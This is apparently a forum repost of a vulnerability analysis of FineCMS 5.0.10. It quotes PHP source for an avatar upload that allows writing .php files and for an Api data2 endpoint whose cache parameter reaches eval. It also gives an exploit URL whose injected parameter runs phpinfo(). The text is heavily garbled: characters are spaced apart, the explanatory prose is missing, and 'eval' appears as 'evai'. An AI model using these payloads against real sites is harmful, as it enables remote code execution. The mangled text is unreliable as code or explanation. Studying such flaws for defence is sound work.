[19488] 2019-05-23_技能篇丨FineCMS5.0.10多个漏洞详细分析

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2019-05-23_技能篇丨FineCMS5.0.10多个漏洞详细分析 F i n e C M S   5 . 0 . 1 0   i   2 0 1 9 - 0 5 - 2 3 ~ C M S F i n e C M S 5 . 0 . 1 0 7 1 . p h p / u p l o a d f i l e / m e m b e r / I D / 0 x 0 . p h p
2 f i n e c m s / d a y r u i / c o n t r o l l e r s / m e m b e r / A c c o u n t . p h p   1 7 7 ~ 2 4 4 / * *   *       *       * / p u b l i c   f u n c t i o n   u p l o a d ( )   {         / /           $ d i r   =   S Y S _ U P L O A D _ P A T H . ' / m e m b e r / ' . $ t h i s - > u i d . ' / ' ;         @ d r _ d i r _ d e l e t e ( $ d i r ) ;         ! i s _ d i r ( $ d i r )   & &   d r _ m k d i r s ( $ d i r ) ;         i f   ( $ _ P O S T [ ' t x ' ] )   {                 $ f i l e   =   s t r _ r e p l a c e ( '   ' ,   ' + ' ,   $ _ P O S T [ ' t x ' ] ) ;                 i f   ( p r e g _ m a t c h ( ' / ^ ( d a t a : s * i m a g e / ( w + ) ; b a s e 6 4 , ) / ' ,   $ f i l e ,   $ r e s u l t ) ) {                         $ n e w _ f i l e   =   $ d i r . ' 0 x 0 . ' . $ r e s u l t [ 2 ] ;                         i f   ( ! @ f i l e _ p u t _ c o n t e n t s ( $ n e w _ f i l e ,   b a s e 6 4 _ d e c o d e ( s t r _ r e p l a c e ( $ r e s u l t [ 1 ] ,   ' ' ,   $ f i l e ) ) ) )   {                                 e x i t ( d r _ j s o n ( 0 ,   ' ' ) ) ;                         }   e l s e   {                                 $ t h i s - > l o a d - > l i b r a r y ( ' i m a g e _ l i b ' ) ;
5 . 0 . 8                                 $ c o n f i g [ ' c r e a t e _ t h u m b ' ]   =   T R U E ;                                 $ c o n f i g [ ' t h u m b _ m a r k e r ' ]   =   ' ' ;                                 $ c o n f i g [ ' m a i n t a i n _ r a t i o ' ]   =   F A L S E ;                                 $ c o n f i g [ ' s o u r c e _ i m a g e ' ]   =   $ n e w _ f i l e ;                                 f o r e a c h   ( a r r a y ( 3 0 ,   4 5 ,   9 0 ,   1 8 0 )   a s   $ a )   {                                         $ c o n f i g [ ' w i d t h ' ]   =   $ c o n f i g [ ' h e i g h t ' ]   =   $ a ;                                         $ c o n f i g [ ' n e w _ i m a g e ' ]   =   $ d i r . $ a . ' x ' . $ a . ' . ' . $ r e s u l t [ 2 ] ;                                         $ t h i s - > i m a g e _ l i b - > i n i t i a l i z e ( $ c o n f i g ) ;                                         i f   ( ! $ t h i s - > i m a g e _ l i b - > r e s i z e ( ) )   {                                                 e x i t ( d r _ j s o n ( 0 ,   ' ' . $ t h i s - > i m a g e _ l i b - > d i s p l a y _ e r r o r s ( ) ) ) ;                                                 b r e a k ;                                         }                                 }                                 l i s t ( $ w i d t h ,   $ h e i g h t ,   $ t y p e ,   $ a t t r )   =   g e t i m a g e s i z e ( $ d i r . ' 4 5 x 4 5 . ' . $ r e s u l t [ 2 ] ) ;                                 ! $ t y p e   & &   e x i t ( d r _ j s o n ( 0 ,   ' ' ) ) ;                         }                 }   e l s e   {                         e x i t ( d r _ j s o n ( 0 ,   ' ' ) ) ;                 }         }   e l s e   {                 e x i t ( d r _ j s o n ( 0 ,   ' ' ) ) ;         } / /           i f   ( d e f i n e d ( ' U C S S O _ A P I ' ) )   {                 $ r t   =   u c s s o _ a v a t a r ( $ t h i s - > u i d ,   f i l e _ g e t _ c o n t e n t s ( $ d i r . ' 9 0 x 9 0 . j p g ' ) ) ;                 ! $ r t [ ' c o d e ' ]   & &   $ t h i s - > _ j s o n ( 0 ,   f c _ l a n g ( ' % s ' ,   $ r t [ ' m s g ' ] ) ) ;         }         e x i t ( ' 1 ' ) ; }
1 a u t h h t t p : / / g e t p a s s 1 . c n / i n d e x . p h p ? c = a p i & m = d a t a 2 & a u t h = 5 8 2 f 2 7 d 1 4 0 4 9 7 a 9 d 8 f 0 4 8 c a 0 8 5 b 1 1 1 d f m = a c t i o n = c a c h e % 2 0 n a m e = M E M B E R . 1 % 2 7 ] ; p h p i n f o (   ) ; $ a = [ % 2 7 1                                 i f   ( ! i n _ a r r a y ( s t r t o l o w e r ( $ r e s u l t [ 2 ] ) ,   a r r a y ( ' j p g ' ,   ' j p e g ' ,   ' p n g ' ,   ' g i f ' ) ) )   {                                         e x i t ( d r _ j s o n ( 0 ,   ' ' ) ) ;                                 }                                 . . .                                   $ c   =   0 ;                                         i f   ( $ f p   =   @ o p e n d i r ( $ d i r ) )   {                                                 w h i l e   ( F A L S E   ! = =   ( $ f i l e   =   r e a d d i r ( $ f p ) ) )   {                                                         $ e x t   =   s u b s t r ( s t r r c h r ( $ f i l e ,   ' . ' ) ,   1 ) ;                                                         i f   ( i n _ a r r a y ( s t r t o l o w e r ( $ e x t ) ,   a r r a y ( ' j p g ' ,   ' j p e g ' ,   ' p n g ' ,   ' g i f ' ) ) )   {                                                                 i f   ( c o p y ( $ d i r . $ f i l e ,   $ m y . $ f i l e ) )   {                                                                         $ c + + ;                                                                 }                                                         }                                                 }                                                 c l o s e d i r ( $ f p ) ;                                         }                                         i f   ( ! $ c )   {                                                 e x i t ( d r _ j s o n ( 0 ,     f c _ l a n g ( ' ' ) ) ) ;                                         }
2 / f i n e c m s / d a y r u i / c o n t r o l l e r s / A p i . p h p d a t a 2 (   ) p u b l i c   f u n c t i o n   d a t a 2 ( )   {                 $ d a t a   =   a r r a y ( ) ;                 / /                   $ a u t h   =   $ t h i s - > i n p u t - > g e t ( ' a u t h ' ,   t r u e ) ;                 i f   ( $ a u t h   ! =   m d 5 ( S Y S _ K E Y ) )   {                         / /                           $ d a t a   =   a r r a y ( ' m s g '   = >   ' ' ,   ' c o d e '   = >   0 ) ;                 }   e l s e   {                         / /                           $ c a c h e   =   ' ' ;                         $ p a r a m   =   $ t h i s - > i n p u t - > g e t ( ' p a r a m ' ) ;                         i f   ( i s s e t ( $ p a r a m [ ' c a c h e ' ] )   & &   $ p a r a m [ ' c a c h e ' ] )   {                                 $ c a c h e   =   m d 5 ( d r _ a r r a y 2 s t r i n g ( $ p a r a m ) ) ;                                 $ d a t a   =   $ t h i s - > g e t _ c a c h e _ d a t a ( $ c a c h e ) ;                         }                         i f   ( ! $ d a t a )   {
                                / /   l i s t                                 $ d a t a   =   $ t h i s - > t e m p l a t e - > l i s t _ t a g ( $ p a r a m ) ;                                 $ d a t a [ ' c o d e ' ]   =   $ d a t a [ ' e r r o r ' ]   ?   0   :   1 ;                                 u n s e t ( $ d a t a [ ' s q l ' ] ,   $ d a t a [ ' p a g e s ' ] ) ;                                 / /                                   $ c a c h e   & &   $ t h i s - > s e t _ c a c h e _ d a t a ( $ c a c h e ,   $ d a t a ,   $ p a r a m [ ' c a c h e ' ] ) ;                         }                 }                 / /                   $ f o r m a t   =   $ t h i s - > i n p u t - > g e t ( ' f o r m a t ' ) ;                 $ f u n c t i o n   =   $ t h i s - > i n p u t - > g e t ( ' f u n c t i o n ' ) ;                 i f   ( $ f u n c t i o n )   {                         i f   ( ! f u n c t i o n _ e x i s t s ( $ f u n c t i o n ) )   {                                 $ d a t a   =   a r r a y ( ' m s g '   = >   f c _ l a n g ( ' ' . $ f u n c t i o n . ' ' ) ,   ' c o d e '   = >   0 ) ;                         }   e l s e   {                                 $ d a t a   =   $ f u n c t i o n ( $ d a t a ) ;                         }                 }                 / /                   i f   ( $ f o r m a t   = =   ' p h p ' )   {                         p r i n t _ r ( $ d a t a ) ;                 }   e l s e i f   ( $ f o r m a t   = =   ' j s o n p ' )   {                         / /                           e c h o   $ t h i s - > i n p u t - > g e t ( ' c a l l b a c k ' ,   T R U E ) . ' ( ' . $ t h i s - > c a l l b a c k _ j s o n ( $ d a t a ) . ' ) ' ;                 }   e l s e   {                         / /                           e c h o   $ t h i s - > c a l l b a c k _ j s o n ( $ d a t a ) ;                 }                 e x i t ;                 }
/ c o n f i g / s y s t e m . p h p S Y S _ K E Y C o o k i e s / f i n e c m s / d a y r u i / c o n f i g / c o n f i g . p h p C o o k i e s K E Y M D 5 K E Y / /           $ a u t h   =   $ t h i s - > i n p u t - > g e t ( ' a u t h ' ,   t r u e ) ;         i f   ( $ a u t h   ! =   m d 5 ( S Y S _ K E Y ) )   {                 / /                   $ d a t a   =   a r r a y ( ' m s g '   = >   ' ' ,   ' c o d e '   = >   0 ) ;         }   e l s e   {
T e m p l a t e l i s t _ t a g f i n e c m s / d a y r u i / l i b r a r i e s / T e m p l a t e . p h p l i s t _ t a g p a r a m = a c t i o n = c a c h e % 2 0 n a m e = M E M B E R . 1 % 2 7 ] ; p h p i n f o (   ) ; $ a = [ % 2 7 1 $ v a r $ v a l $ c a c h e = _ c a c h e _ v a r @ e v a i ( ' $ d a t a = $ c a c h e ' . $ t h i s - > _ g e t _ v a r ( $ _ p a r a m ) . ' ; ' ) ; i f   ( ! $ d a t a )   {                                 / /   l i s t                                 $ d a t a   =   $ t h i s - > t e m p l a t e - > l i s t _ t a g ( $ p a r a m ) ;                                 $ d a t a [ ' c o d e ' ]   =   $ d a t a [ ' e r r o r ' ]   ?   0   :   1 ;                                 u n s e t ( $ d a t a [ ' s q l ' ] ,   $ d a t a [ ' p a g e s ' ] ) ;                                 / /                                   $ c a c h e   & &   $ t h i s - > s e t _ c a c h e _ d a t a ( $ c a c h e ,   $ d a t a ,   $ p a r a m [ ' c a c h e ' ] ) ;                         } $ v a r = [ ' a c t i o n ' , ' n a m e ' ] $ v a l = [ ' c a c h e % 2 0 ' , ' M E M B E R . 1 % 2 7 ] ; p h p i n f o ( ) ; $ a = [ % 2 7 1 ' ]
, s w t i c h c a c h e $ p o s   =   s t r p o s ( $ p a r a m [ ' n a m e ' ] ,   ' . ' ) s u b s t r f o r e a c h   ( $ p a r a m s   a s   $ t )   {                         $ v a r   =   s u b s t r ( $ t ,   0 ,   s t r p o s ( $ t ,   ' = ' ) ) ;                         $ v a l   =   s u b s t r ( $ t ,   s t r p o s ( $ t ,   ' = ' )   +   1 ) ; $ _ n a m e = ' M E M B E R ' $ _ p a r a m = " 1 % 2 7 ] ; p h p i n f o ( ) ; $ a = [ % 2 7 1 "
g e t _ v a r $ p a r a m a , $ s t r i n g $ s t r i n g = [ ' a ' ] [ '   ' ] p a y l o a d 1 ' ] ; p h p i n f o ( ) ; $ a = [ ' 1 $ s t r i n g   / /   a c t i o n                 s w i t c h   ( $ s y s t e m [ ' a c t i o n ' ] )   {                         c a s e   ' c a c h e ' :   / /                                   i f   ( ! i s s e t ( $ p a r a m [ ' n a m e ' ] ) )   {                                         r e t u r n   $ t h i s - > _ r e t u r n ( $ s y s t e m [ ' r e t u r n ' ] ,   ' n a m e ' ) ;                                 }                                 $ p o s   =   s t r p o s ( $ p a r a m [ ' n a m e ' ] ,   ' . ' ) ;                                 i f   ( $ p o s   ! = =   F A L S E )   {                                         $ _ n a m e   =   s u b s t r ( $ p a r a m [ ' n a m e ' ] ,   0 ,   $ p o s ) ;                                         $ _ p a r a m   =   s u b s t r ( $ p a r a m [ ' n a m e ' ] ,   $ p o s   +   1 ) ;                                 }   e l s e   {                                         $ _ n a m e   =   $ p a r a m [ ' n a m e ' ] ;                                         $ _ p a r a m   =   N U L L ;                                 }                                 $ c a c h e   =   $ t h i s - > _ c a c h e _ v a r ( $ _ n a m e ,   ! $ s y s t e m [ ' s i t e ' ]   ?   S I T E _ I D   :   $ s y s t e m [ ' s i t e ' ] ) ;                                 i f   ( ! $ c a c h e )   {                                         r e t u r n   $ t h i s - > _ r e t u r n ( $ s y s t e m [ ' r e t u r n ' ] ,   " ( { $ _ n a m e } ) " ) ;                                 }                                 i f   ( $ _ p a r a m )   {                                         $ d a t a   =   a r r a y ( ) ;                                         @ e v a i ( ' $ d a t a = $ c a c h e ' . $ t h i s - > _ g e t _ v a r ( $ _ p a r a m ) . ' ; ' ) ;                                         i f   ( ! $ d a t a )   {                                                 r e t u r n   $ t h i s - > _ r e t u r n ( $ s y s t e m [ ' r e t u r n ' ] ,   " ( { $ _ n a m e } ) ! ! " ) ;                                         }                                 }   e l s e   {                                         $ d a t a   =   $ c a c h e ;                                 }                                 r e t u r n   $ t h i s - > _ r e t u r n ( $ s y s t e m [ ' r e t u r n ' ] ,   $ d a t a ,   ' ' ) ;                                 b r e a k ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则